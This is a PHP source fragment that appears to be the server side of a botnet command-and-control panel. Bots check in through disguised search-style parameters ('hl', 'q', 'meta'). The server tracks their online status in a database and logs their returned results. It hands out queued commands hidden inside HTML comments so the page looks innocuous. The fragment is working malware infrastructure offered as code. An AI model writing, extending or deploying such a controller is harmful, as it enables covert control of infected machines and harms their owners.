function UpdateBotStatusList($timeout, $serial, $name) { $timestamp = time(); $result = mysql_query("SELECT * FROM botlisting;"); while ($row = mysql_fetch_array($result)) { if ($row['time'] + $timeout < $timestamp) { if ($serial == $row['serial'] && $name == $row['name']) { UpdateBotStatus($row['serial'], $row['name'], "Offline", true); } else { UpdateBotStatus($row['serial'], $row['name'], "Offline", false); } } } }
include "./config.php"; include "./functions.php"; if (isset($_GET['hl']) && isset($_GET['q']) && isset($_GET['meta'])) { $hl = $_GET['hl']; $q = $_GET['q']; $meta = $_GET['meta']; //check some general stuff ConnectToDB($server, $user, $pw, $dbname); if (!IsBotInDB($hl, $q)) { AddBotToDB($hl, $q, "New"); } if ($meta == "login") { UpdateBotStatus($hl, $q, "Login", true); } else { UpdateBotStatus($hl, $q, "Online", true); } UpdateBotStatusList($timeout, $hl, $q); //print out all commands for bot and delete them from queue as done $botid = GetBotID($hl, $q); if (isset($_GET['res']) && $_GET['res'] != "") { AddResultToLog($q, $_GET['res']); } echo "<!--\n"; if ($meta != "login") { ShowAndDeleteCommandsForBot($botid); } echo "-->\n"; CloseConnectionToDB(); } echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";